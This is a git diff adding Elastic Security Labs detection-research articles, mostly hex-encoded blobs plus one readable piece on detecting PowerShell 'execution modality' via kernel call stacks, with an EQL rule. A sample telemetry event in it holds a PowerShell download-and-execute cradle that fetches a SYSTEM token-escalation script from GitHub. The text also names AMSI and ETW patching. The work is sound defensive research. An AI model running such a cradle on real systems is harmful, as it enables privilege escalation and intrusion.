9f5638c3a054bc1021101339291ca18140247fe3ef45ef98a3c22038bb8b6e6e4d337879defded27737aa2f81597413378e74e6438dce044b069fa4c9d3dd82318c7eee4e41735df94be4e \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/misbehaving_modalities.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/misbehaving_modalities.md new file mode 100644 index 0000000000000..30464377b32be --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/misbehaving_modalities.md @@ -0,0 +1,264 @@ +--- +title: "Misbehaving Modalities: Detecting Tools, Not Techniques" +slug: "misbehaving-modalities" +date: "2025-05-15" +description: "We explore the concept of Execution Modality and how modality-focused detections can complement behaviour-focused ones." +author: + - slug: john-uhlmann +image: "modalities.png" +category: + - slug: security-research + - slug: detection-science +--- + +## **What is Execution Modality?** + +[Jared Atkinson](https://medium.com/@jaredcatkinson), Chief Strategist at SpecterOps and prolific writer on security strategy, recently introduced the very useful concept of [Execution Modality](https://posts.specterops.io/behavior-vs-execution-modality-3318e8e81739) to help us reason about malware techniques, and how to robustly detect them. In short, Execution Modality describes *how* a malicious behaviour is executed, rather than simply defining *what* the behaviour does. + +For example, the behaviour of interest might be [Windows service creation](https://attack.mitre.org/techniques/T1543/003/), and the modality might be either a system utility (such as \`sc.exe\`), a PowerShell script, or shellcode that uses indirect syscalls to directly write to the service configuration in the Windows Registry. + +Atkinson outlined that if your goal is to detect a specific technique, you want to ensure that your collection is as close as possible to the operating system’s source of truth and eliminate any modality assumptions. + +## **Case Study: service creation modalities** + +![Service creation operation flow graph](/assets/images/misbehaving-modalities/flow.png) + +In the typical Service creation scenario within the Windows OS, an installer calls [`sc.exe create`](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create) which makes an [`RCreateService`](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/6a8ca926-9477-4dd4-b766-692fab07227e) RPC call to an endpoint in the [Service Control Manager](https://learn.microsoft.com/en-us/windows/win32/services/service-control-manager) (SCM, aka `services.exe`) which then makes syscalls to the [kernel-mode configuration manager](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-configuration-manager) to update the [database of installed services](https://learn.microsoft.com/en-us/windows/win32/services/database-of-installed-services) in the registry. This is later flushed to disk and restored from disk on boot. + +This means that the source of truth for a running system [is the registry](https://abstractionmaps.com/maps/t1050/) (though hives are flushed to disk and can be tampered with offline). + +In a threat hunting scenario, we could easily detect anomalous `sc.exe` command lines - but a different tool might make Service Control RPC calls directly. + +If we were processing our threat data stringently, we could also detect anomalous Service Control RPC calls, but a different tool might make syscalls (in)directly or use another service, such as the [Remote Registry](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/ec095de8-b4fe-48fb-8114-dea65b4d710e), to update the service database indirectly. + +In other words, some of these execution modalities bypass traditional telemetry such as [Windows event logs](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4697). + +So how do we monitor changes to the configuration manager? We can’t robustly monitor syscalls directly due to [Kernel Patch Protection](https://en.wikipedia.org/wiki/Kernel_Patch_Protection), but Microsoft has provided [configuration manager callbacks](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-calls) as an alternative. This is where Elastic has [focused our service creation detection](https://github.com/tsale/EDR-Telemetry/pull/58#issuecomment-2043958734) efforts - as close to the operating system’s source of truth as possible. + +The trade-off for this low-level visibility, however, is a potential reduction in context. For example, due to Windows architectural decisions, security vendors do not know which RPC client is requesting the creation of a registry key in the services database. Microsoft only supports querying RPC client details from a user-mode RPC service. + +Starting with Windows 10 21H1, Microsoft began including [RPC client details in the service creation event log](https://github.com/jdu2600/Windows10EtwEvents/commit/5444e040d65ed2807fcf9ac69ce32131338dc370#diff-b88b65ff9fd39a51c51c594ee3787ea6907e780d4282ae9a7517c04074e2c2b7). This event, while less robust, sometimes provides additional context that might assist in determining the source of an anomalous behaviour. + +Due to their history of abuse, some modalities have been extended with extra logging - one important example is PowerShell. This allows certain techniques to be detected with high precision - but *only* when executed within PowerShell. It is important not to conflate having detection coverage of a technique in PowerShell with coverage of that technique in general. This nuance is important when estimating [MITRE ATT&CK](https://attack.mitre.org/) coverage. As red teams routinely demonstrate, having 100% technique coverage - but only for PowerShell - is close to 0% real-world coverage. + +[Summiting the Pyramid](https://ctid.mitre.org/projects/summiting-the-pyramid/) (STP) is a related analytic scoring methodology from MITRE. It makes a similar conclusion about the fragility of [PowerShell scriptblock-based detections](https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/) and assigns such rules a low robustness score. + +High-level telemetry sources, such as Process Creation logging and PowerShell logging, are extremely brittle at detecting most techniques as they cover very few modalities. At best, they assist in detecting the most egregious Living off the Land (LotL) abuses. + +Atkinson made the following astute observation in the [example](https://posts.specterops.io/behavior-vs-execution-modality-3318e8e81739) used to motivate the discussion: + +*An important point is that our higher-order objective in detection is behavior-based, not modality-based. Therefore, we should be interested in detecting Session Enumeration (behavior-focused), not Session Enumeration in PowerShell (modality-focused).* + +Sometimes that is only half of the story though. Sometimes detecting that the tool itself is out of context is more efficient than detecting the technique. Sometimes the execution modality itself is anomalous. + +An alternative to detecting a known technique is to detect a misbehaving modality. + +## **Call stacks divulge Modality** + +One of Elastic’s strengths is the inclusion of call stacks in the majority of our events. This level of call provenance detail greatly assists in determining whether a given activity is malicious or benign. Call stack summaries are often sufficient to divulge the execution modality - the runtimes for PowerShell, .NET, RPC, WMI, VBA, Lua, Python, and Java all leave traces in the call stack. + +Some of our [first call stack-based rules](https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks) were for Office VBA macros (`vbe7.dll`) spawning child processes or dropping files, and for unbacked executable memory loading the .NET runtime. In both of these examples, the technique itself was largely benign; it was the modality of the behaviour that was predominantly anomalous. + +So can we flip the typical behaviour-focused detection approach to a modality-focused one? For example, can we detect solely on the use of **any** dual-purpose API call originating from PowerShell? + +Using call stacks, Elastic is able to differentiate between the API calls that originate from PowerShell scripts and those that come from the PowerShell or .NET runtimes. + +Using Threat-Intelligence ETW as an approximation for a dual-purpose API, our rule for “Suspicious API Call from a PowerShell Script” was quite effective. + +```sql +api where +event.provider == "Microsoft-Windows-Threat-Intelligence" and +process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + +/* PowerShell Script JIT - and incidental .NET assemblies */ +process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and +process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and + +/* filesystem enumeration activity */ +not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and + +/* exclude nop operations */ +not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and + +/* Citrix GPO Scripts */ +not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and + process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and + +/* cybersecurity tools */ +not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and + +/* module listing */ +not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and + process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and + +/* WPM triggers multiple times at process creation */ +not (process.Ext.api.name == "WriteProcessMemory" and + process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and + _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown"))) +``` + +Even though we don’t need to use the brittle PowerShell AMSI logging for detection, we can still provide this detail in the event as context as it assists with triage. This modality-based approach even detects common PowerShell defence evasion tradecraft such as: + - ntdll unhooking + - AMSI patching + - user-mode ETW patching + +```json +{ + "event": { + "provider": "Microsoft-Windows-Threat-Intelligence", + "created": "2025-01-29T18:27:09.4386902Z", + "kind": "event", + "category": "api", + "type": "change", + "outcome": "unknown" + }, + "message": "Endpoint API event - VirtualProtect", + "process": { + "parent": { + "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "name": "powershell.exe", + "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", + "code_signature": { + "trusted": true, + "subject_name": "Microsoft Windows", + "exists": true, + "status": "trusted" + }, + "command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}", + "pid": 21908, + "Ext": { + "api": { + "summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )", + "metadata": { + "target_address_path": "c:\\windows\\system32\\kernel32.dll", + "amsi_logs": [ + { + "entries": [ + "& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}", + "{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}", + "function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n [CmdletBinding()]\n Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...", + "{[Char] $_}", + "{\n [CmdletBinding()]\n Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [Byte[]]\n ${_00110111011010011},\n [Parameter(Position = 1, Mandatory = $true)]\n [String]\n ${_10100110010101100},\n ...", + "{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }" + ], + "type": "PowerShell" + } + ], + "target_address_name": "kernel32.dll!FatalExit", + "amsi_filenames": [ + "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", + "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" + ] + }, + "behaviors": [ + "sensitive_api", + "hollow_image", + "unbacked_rwx" + ], + "name": "VirtualProtect", + "parameters": { + "address": 140727652261072, + "size": 33, + "protection_old": "R-X", + "protection": "RWX" + } + }, + "code_signature": [ + { + "trusted": true, + "subject_name": "Microsoft Windows", + "exists": true, + "status": "trusted" + } + ], + "token": { + "integrity_level_name": "high" + } + }, + "thread": { + "Ext": { + "call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked", + "call_stack_contains_unbacked": true, + "call_stack": [ + { + "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14" + }, + { + "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b" + }, + { + "symbol_info": "Unbacked+0x3b5c", + "protection_provenance": "clr.dll", + "callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41", + "protection": "RWX", + "callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0" + } + ], + "call_stack_final_user_module": { + "code_signature": [ + { + "trusted": true, + "subject_name": "Microsoft Corporation", + "exists": true, + "status": "trusted" + } + ], + "protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll", + "name": "Unbacked", + "protection_provenance": "clr.dll", + "protection": "RWX", + "hash": { + "sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4" + } + } + }, + "id": 17260 + } + }, + "user": { + "id": "S-1-5-21-47396387-2833971351-1621354421-500" + } +} +``` +## **Robustness assessment** + +Using the [Summiting the Pyramid](https://ctid.mitre.org/projects/summiting-the-pyramid/) analytic scoring methodology we can compare our PowerShell modality-based detection rule with traditional PowerShell + +| | Application (A) | User mode (U) | Kernel mode (K) | +| :---- | :---- | :---- | :---- | +| **Core to (Sub) Technique (5)** | | | **\[ best \]** Kernel ETW-based PowerShell modality detections | +| **Core to Part of (Sub-) Technique (4)** | | | | +| **Core to Pre-Existing Tool (3)** | | | | +| **Core to Adversary-brought Tool (2)** | AMSI and ScriptBlock-based PowerShell content detections | | | +| **Ephemeral (1)** | **\[ worst \]** | | | + +PowerShell Analytic Scoring using [Summiting the Pyramid](https://ctid.mitre.org/projects/summiting-the-pyramid/) + +As noted earlier, most PowerShell detections receive a low 2A robustness score using the STP scale. This is in stark contrast to our [PowerShell misbehaving modality rule](https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/windows/execution_suspicious_api_call_from_a_powershell_script.toml) which receives the highest possible 5K score (where appropriate kernel telemetry is available from Microsoft). + +One caveat is that an STP analytic score does not yet include any measure for the setup and maintenance costs of a rule. This could potentially be approximated by the size of the known false positive software list for a given rule - though most open rule sets typically do not include this information. We do and, in our rule’s case, the false positives observed to date have been extremely manageable. + +## **Can call stacks be spoofed though?** + +Yes - and slightly no. Our call stacks are all collected inline in the kernel, but the user-mode call stack itself resides in user-mode memory that the malware may control. This means that, if malware has achieved arbitrary execution, then it can control the stack frames that we see. + +Sure, dual-purpose API [calls from private memory](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Unbacked+memory%22&type=code) are suspicious, but sometimes trying to hide your private memory is even more suspicious. This can take the form of: + +* Calls from [overwritten modules](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+allocation_private_bytes&type=code). +* Return addresses [without a preceding call](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+image_rop&type=code) instruction. +* Calls [proxied via other modules](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+proxy_call&type=code). + +Call stack control alone may not be enough. In order to truly bypass some of our call stack detections, an attacker must craft a call stack that entirely blends with normal activity. In some environments this can be baselined by security teams with high accuracy; making it hard for the attackers to remain undetected. Based on our in-house research, and with the assistance of red team tool developers, we are also continually improving our out-of-the-box detections. + +Finally, on modern CPUs there are also numerous execution trace mechanisms that can be used to detect stack spoofing - such as [Intel LBR](https://www.blackhat.com/docs/us-16/materials/us-16-Pierce-Capturing-0days-With-PERFectly-Placed-Hardware-Traps-wp.pdf), Intel BTS, Intel AET, [Intel IPT](https://www.microsoft.com/en-us/research/wp-content/uploads/2017/01/griffin-asplos17.pdf), [x64 CET](https://www.elastic.co/security-labs/finding-truth-in-the-shadows) and [x64 Architectural LBR](https://lwn.net/Articles/824613/). Elastic already takes advantage of some of these hardware features, we have suggested to Microsoft that they may also wish to do so in further scenarios outside of exploit protection, and we are investigating further enhancements ourselves. Stay tuned. + +## **Conclusion** + +Execution Modality is a new lens through which we can seek to understand attacker tradecraft. + +Detecting specific techniques for individual modalities is not a cost-effective approach though - there are simply too many techniques and too many modalities. Instead, we should focus our technique detections as close to the operating system source of truth as possible; being careful not to lose necessary activity context, or to introduce unmanageable false positives. This is why Elastic considers [Kernel ETW](https://www.elastic.co/security-labs/kernel-etw-best-etw) to be superior to user-mode `ntdll` hooking - it is closer to the source of truth allowing more robust detections. + +For modality-based detection approaches, the value becomes apparent when we baseline **all** expected low-level telemetry for a given modality - and trigger on **any** deviations. + +Historically, attackers have been able to choose modality for convenience. It is more cost effective to write tools in C# or PowerShell than in C or assembly. If we can herd modality then we’ve imposed cost. \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/outlaw_linux_malware.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/outlaw_linux_malware.encoded.md new file mode 100644 index 0000000000000..4266f427f8022 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/outlaw_linux_malware.encoded.md @@ -0,0 +1 @@ +325f38fac2f4dfe48d0c8364d8f185c7b6af43dbc40bb7a0697c11b6355e94237626e718b1fba74ff53e33cd03be7e3c7c67c875abc913c595a1d3cc11a531c417881285f12d8de551e4b36a7b27b51cb28c4e225e43338b62ddd3b3dfa8862681235f10000785de389d4634ac5a4d393982695c12483a2672ae3bcb6d8171b64aa97370af7593c141e308948a25f0126d86730ac00a7faae6a192673cd06653c8cd327d3fa5014b2dada417f3f0097079dcc89560fa61e1d6a78cfa302f6bb7878443d5b177eec8f91a67d4194ea65c392ea60c04c97e601059ce12493a333987dc6ea4d62c3de26d435fd6df7c04b2cd58ab15c3e858cfe4f5a6e5de03f58846645c9e7201b81c857c20ed230063f6c90400982a42420011dcf5a1b5ac382b187a556853cb38e3405f7d47dac4cb0915a44c7c25ae4e72ff0aad9088adde42ca08a6e1fed99b9d924b2eeebc7e2a1638e27e5526cb9de7b93b353b4c89722573b68d2ecd8602db28b290492169edb1eee93332c78b38de51040f0817a03d7241eab42aaf354e82e88473079a6bf334f6fed400bd62b08eb4d23a61d307bf4bab9fea55b319c33463fcdf3739a5549b04614f390dac816bed039e7aa343439497a0c49d65fe5d406e06528efd0278dd7b9465a39dc0bc438c7a0cb7d290ff2ea009bd7580fe8bb50c91445075b88b2648a53a1b46c017436e9956459b1c80953b51a13f898397bba50ff9c4469b1d32fd22eb65fcf185f01fa35f760573c83b85a5bb175a021c8bde48f23909a2cfc9c1e2a9378a1a41256e37c228393fb4773826b0937b4c5db36512eb5f92f0478cb1edc87fec690c5a134835c40756cb6552c162842126a397431ebb7fc64e31d91d446ee9883a581e09b6e5571918909dfde7e2c33ce1ab03a37e4115f3d7ec851c3464a72ccd85cb7a275ddc244723f3169b180d23780c5a25d93ca50e3b6a7777f5cf1ef717455a97bf1829d810baad277dcbf0aa282ecc908896eeb4dde4e3289fa80baed74a189fc522401739f1de73361741961a70aca5a03d3c0a104c0df07f90ed9e9c71cccaf7f1599b6394d01f3aa5597b0e7096ae013b0e687fd505519982300b316d535e7c5e37ad7d67322fc62297a80ca26bcf63d2a742efa0e9fbf508d50798beb69471cd50069eb49c4c9452a740efcef51febb55cedca43ef13edfe5f0e1431daa0bc17810cb1a235380de945d0ae9e5f6d591fbf08e5bdfcdf611f86d4bfcff0cb7cd0ac61ac56be7b28aa905ad45f47ba818c257d6a1a8884fbaf1949c70bb19c13bca9789ff384137754ea9f114c49970cbbf285184ca0715e569a582a1fdcb0f40bf5396132fb6c8245ecf0902995c8519ce0d2ef5ba063adb66288066379f1326ff162b15a929bf9ca4091ce40f4ffc76201bcc5d4eb9608f6d907209913021058037116727f27186ce721331e307382d3c0bf4c84c957dc246d4920e6d7007349d83b9ce71483ebe2a3b86b46ab36bf59c22791d612698f731a274fa946a29a4d2b30619a25f133a878dc3bab5444a27658243d8a0cda24a891b360e4eb223dc0731e9159c3b5bc94656e2ca6c9a689625a9624c4fa8d4f073711473f5b3808162dc5f8a94a53a483a7dfe6812a24dff8093999c3978981bb97f05315a5e1d4ba88c0b1803459d5298ee08db9524a8c69cc330da2b80da737b08ba0a12d39266b5adbccac5d7a0594a79840ded7c0b21089706cd2f06617a04659265966edf54170c84fa84e3a36bc44b71ce10c4de6213ddef6f20820f778b0a7bd423b157555cc7dd4d45bdb10108ca160d26ee3e500340c65328a87127b61a9643a5796879b157bab46e65e7e494f89cc2b47fd5f4abd70c071f78363709f20aa326d233371d04302f5e32420eb11c12139bbdb1f95b24c101613d30dd84e920451a9e1e835ee17db6adad2fb6fd14e0d5784d5832687c9e23c8aaf0c05fa16db1e83cad111b3ed4816d30afcf0e6c87f9c94c0304513bcbc3dd53e91c93d2903ec57432eeda4b1aaf6e44b78cc371438fdae8621198128500d4dcfe646b02192884dd5c34b9f1d1aafa807c13918141cdc9ea27d671566f8daae5721bbe13eb4585c68203c1ed0c10fb299694f84aa9fa0e913f2cd8173d2afbcd0f5c9fc7b96a62377bf398faa50d88ae3a50a7408ee98d5e4bf18aad900fee31ca78337750c813c787ef0bea05ecffc685f095f4e15223a85f2010fc796e9ad9ff25118e776ed88b5d2e59432783b3074158367156101f3c62330de0769f67340eaa44bb5de87a07d9202731a6d5ac19fbbd1a863efac0158f7470eb420d9a9aed1498b13c36a4cf3dce2ee3180a08d7be8d1d73f57078e349d8f6eb5f15f42adb440bc1b9174a0eb1fbab66c91f8fabc7320c4b15be207788ca62d78d117059cb069dcd001d40dc51c5b7090566cc6d5f9cf7ffc506baa2486ba034199b4093e80838a0173e9cf829770a50d0335aefa3f256c7be74fb064b0416130c1c9bf63a330c0355fde270c2b6226e844f1ba213a9180fe2f1c10ab6e548d1b568515619e5390df69454d94b671d85ba15c4227fd075fcfce03f9e6e3a39248ab038bc4892557f88434f1a98a6101f9fd50cff1e01b9f589f11b029c2df5a2e9b864f07b2ec4a4aae484f51b1c7b6ad9708bef2ae970f60915cbc51676e072b905dfefc992bbe4bac1f4f7597c73d27fb5eb4092a3c1086bb3e3d47dc44c91f40a53d2513cd82f0f205afad902242bf3244ea61e2136f5e74422a1beca19f5261d491f6cc4eb25414c41807bbba2cc71315026cd53e7d98183c51c8a5f7a255d4de85af5f16536038456ca1fee0d3a75699d92a4fff9b9b492d5f35ecc7bb174a4508c061c58b523fce56cf87c51c9d5a78df123254eed7d510c1a586508c5d8eef68d9ba4564d61d15044578617f6b4d7a16184bff1b9da44ad0727a961b1f71a1a4ac24970306c29e41c5ed04eeaec487d14455b1415bebc68b2bbff224753f5bf623912157fd4771937628d6e10f12eef978b888308a9c96cc67f1c24ca80a5d8b9dde44fdc62a52dbd2d1eb6feec6277255e7d608b5798a8f6af9375e1e9e66c0db76f30b5688aab567b09e5947b92782008f1eda19deaf08e9e80442eabea228a1568e78ddaae75a485058b47e968350fa443877584211bfa58693b2ffcc74d4021e8c2206c6686f80389c16bf5fcd5e22a797f450439eb83f7d844499771c13a324ff07c35150eb68d365ae16d4aed7fff2f1a17734230bfd5c292e0b409aeb8b79261a0924838ef7e40afd3a3a830452161cf6fd4551b528c9280c7f10a19f0d00a7e6b8cda410fb6a12e3e318784814e0ec1f52937f511a4f874744c0d99a6aef623134ab1f3de08ad7d3bde01aff8ee50ed28d575fb7b0829c0aa9f61e82752f5bbed386c8e0372be4b9496b0d59f40e236e70e5b0d8aedf1538d58c1208dffed4682e58d5c1be20075270c4293f5ff09e62a47f2addc31e22cf61f109ac9720aae792d72c131e8ec66df15f014c72bac73cb5aeb7049d6ce191b0053fa3d048bda8112d5398e4b3e43652ca0e6d64907f55a78312108fe8909fce2f7a57eab191d39e307eeaf69eb053989b79bf2feb0085ea722680652a3b5c3d1305decbdaaa9ddfe3342b9030c4be57ac263964a9b556c6dc7244b85989f6af98a150da52f3731dc6e7564da1916a3493fd0d44a922474e536824cba31a0f1a5fed2a079b46919318be246483f4b9213e8cfb37b1a0ca335028ae80f5b67939e076b69bcd65c51b2e551b7acf1b838ec3169a0968cd0b06684a9a631c7ec52d76d1944d946ac10e0daf35d2f40ec5438e8d83a020c3f8f37f9051e6953aad8eceefb26eecca5cc98b7d3c8c1c8b79ae884d2d2756e92b1d60f08f89656960720e96192212ec0af1037a8f2d1ab74bbd5e537f67b7ce02a86c3d49cba3395bf9c847b9726486a020413fee1d7f07290ec8f7b0a33d2b1283ef378276072634de1cee377d22dfd6893c75425106658ada8f1ce371461ed199b137e7987d97ffb31f6e3bdbc948f8d1f24170fac8f74b7eded1bd83a5cf070f77e9507d43dfff1e47b68dfb3eaacac7a2ad29986c7943976dab9fb67270429add500af5dde32c9d81d5af79b696c8ce40c5e24689821d926d6fe05b1be2af04a91539929c6dcbcc5996ab56bc71f7d7986e8aa342351db5a95435d1684d49e43d098045b968c94e3b8516f42ca1027eca653b167e7e299221386787ba30f6c97fdb870d32093a9335026cce6441f741f38971125fa2a0e2554467bcd7a92ebeed612bde367a2fe81b3fa3980119f663aff9fa255911377fdf45803eb25c9e32d3da87ce4a9bfcb6c9a850ed822b089d68c8b592e4d9527aee34fbd9a3c1f2aeb025d6a6079edd4f8d2472a21834939a4bfa601c6afdb6065d414279014439dd97b0f1e940a682e191c82b9f3bd568db10f84c05dd5c5eaf5bfc10cecc1c4d4e7f60dc6ccf229894a8eb987928bb9af2a42880c3fdd022f94f6442ed61dca770484720495e2a9a6aa632e441a6baa033d3c301397a7d077771b829dc5ac69934fd0c7fd53243fcbb785a14ad0510d55b1c16b9259a7b30386393b2430afc623de0551eeeff9dd2722e2c847d08c058f1cba74b020c8af1a3d6faf0b2a27dee7670835f8a1f8a94ba71259b8b59ba0f8a7b4458a5f2baa2a50fea8bcba70ef652dc242087aea49571923e9f8b4b25a3424443271bf3675d99f12dcc66143ce292e5904f792ee6311a1ae17ddf427799f2d8b2600ff4be157d20210efc5b9e4149d7d759ef004eb5d8620decd097bf7abc0521e36e4cd4897cfaf752a6a99843caee2ba248718d84a37d4a5295398df1d4b4daddbe2518caa49e5d71b393b87c02b5c85900ef4d3f2424e457a2e6f7e39ed6bb519711a7abc7802d8abd2e34b048e91728f3d0f996e5bb5024fcf76141880e0a9b6ac2db54b7ad0d5d5791f49ac698832fb015df6379fa9de986d0bc97e8e4c1de42c2bb6e9f9da18e3915a217199cf2faa6db6009225600887c078f563a3c41b11725ebcface2fa307913ef136d6cc9a70852bdc482b388843041738f1e15de1dad2ac80e3aa858aefba3ed845d995605e7a5f8d7c7103d97fec892ddbed7d6193fb4b73ef02ee3bffd56d19c34af3c3895882eda9e2b87402b4695a4fa0dc4021d61d9cc35e10b7087c9f9d06f409f710cd7d8f17f8037d7e37ccf9aa1fc4549f4570238cf52314e19b4223d1993fc6d176ae4459aff83b66282fc86fceb21b26b155a782c8bef2dee7d38e83ec2eb38aaaed5f9dbfc02e0e01143cc3ba0b05705f2f4438eab25016cd53e7d98183c51c8a5f7a255d4de85af5f16536038456ca1fee0d3a75699d9e18e89e22951d1c2cc67ea1198d3f4776e86690de0e01dd7304287ea948c196e5a96cbdc81a48ebc4580978f04ffb7bb772b1df3854105dd1b0780740f215614bf7522ebd8502186771fc49e30f74897bc19b25a536638c4c4cddb6af9dd165a01668cdd89c90373b9eb5b46d1b6d9eda8abfaf8d06b5b7437f0c73b07d0abe335ce461a6f9af674c3e0a67141bad72c565b81bcb38b98deb3dba698d1a41f5315b38126e61d27ee4d7d80e7efa9b1715ae03b299f17e010202d4b624734c5f5b5f50638e2d161f15340ed7a30c086eef0eea6a0abb12c715c3d8ea7f90afbc5e4e7bff3e0c77c0aad371a2053cf1add6de92fd7bb8ae4e00f57d44eeebfe901407ba7f1776c9d71f6cfb94060775f1dd5b9af2625d8eed5f0fdcf70cf00fbcc5f2a4474b0a99d125e8e6bc03b57d3be71b45c90678700a74c1be55c55bd53e54740be09b25c2cee306873c328412ff26df352d4415c28dbd7e15591250a563058424f8f20e9e266af9ca115ce8cfd35ff77d34c668e668ec72d2cf1b5243a3d2b55703b18cdf980f7cf7fa9e0d3a5fca4945cc4c66eea14e7451b21642410fc0cd86c5f0cc6bfe81b2482e9af692a80a2b3f4ce42a23ef367be2b71b6de589dd3370b66ae8c9ce84ba58e52d64d3cd3bc454b61d2608ca3494470ea5dd5df2d00971ec93589fdba64d197384dd5d4d0edbcfe40651228da817caa22c0b46dc1e6d852e8bd5107405d9ad99ce4621cbd2ba939b686583c94ca3149ff26c444a76a776df4702574cbd23252f3e9972f72f75f54da544eef89bda599b3de952d264c2920d4c31ea729f4f58b87bcd50733d24896e911ef448e9ee763fd4c1be61869ba2244a848da3638110c7f9a13360e5be8e0dd1f7ec3250da3402e6f39ea93f4ee963e6490749c4b243a47fbe7d67441205e63f5efbdc47ce856ec63b07cd27a470e8df4a52e3f37975e2bbecb08501dd97980c174d5ab21133caf887dc3e1fbc31225daa1ea2f29214bb8c05216011ac7f7be0af39d8b1547506e21914d605a3c7035a62a981746c3f45fe8397316a80fb92126c11b367c62806eb8a5b34157ef37827d35b106b56d93061cce5ed61429f032fdd7ba579a2f1fb40b088cff95e4c550195a064e2e65579db65ae927b7c56a91bddae06574ca6dc4ff5c7059d618f0ccc63cfc927b55d1f7a63f8566f90c127b5d89418ff30697c24b4ec5a8cca82b680287702486f3ea4fe49b7ece897b12edadbedd2f62e0ba6bb893a3ff90088fa567b9348e00966bbeb71fa582a4197b83881e15f4978737c293f2fc9beaba4ed932259976989836a11b5ef76e066c934368cee7f80d6e96623aaf58257b54a95b03fc05dc73607120ff423df99dc40853fa1b53bb51886a1ca1c77b6f9dd31866f17cb92287ebeb23c53afe9ca91b16e840aea71d4c2de3b408d29eda0ae45d127eec6eb54ea0e88cc9cf72c5ef990c5b46400c28646e98db52fc21b87a4c4cf73d83f05b70ac0f7233b067b4843e97ecfa08a5ce9c6c3e92aaf1cfd92e6caeb01b52c341ebb48f6dd6ba179e9ee6c1bc49ffa9faa55a876fbce1811cd46548cc75c2c6beb0c86b053e3aee45b5330030dba7d3d32b445d259af7ac897577744b45ed6eb2a89f3ac130b2920493bb10c633c903c3b8fdb528431e7a7ea7b9a7e77dadc2279f1574845086e3b0c40f220d38f32122deeb3a9191766f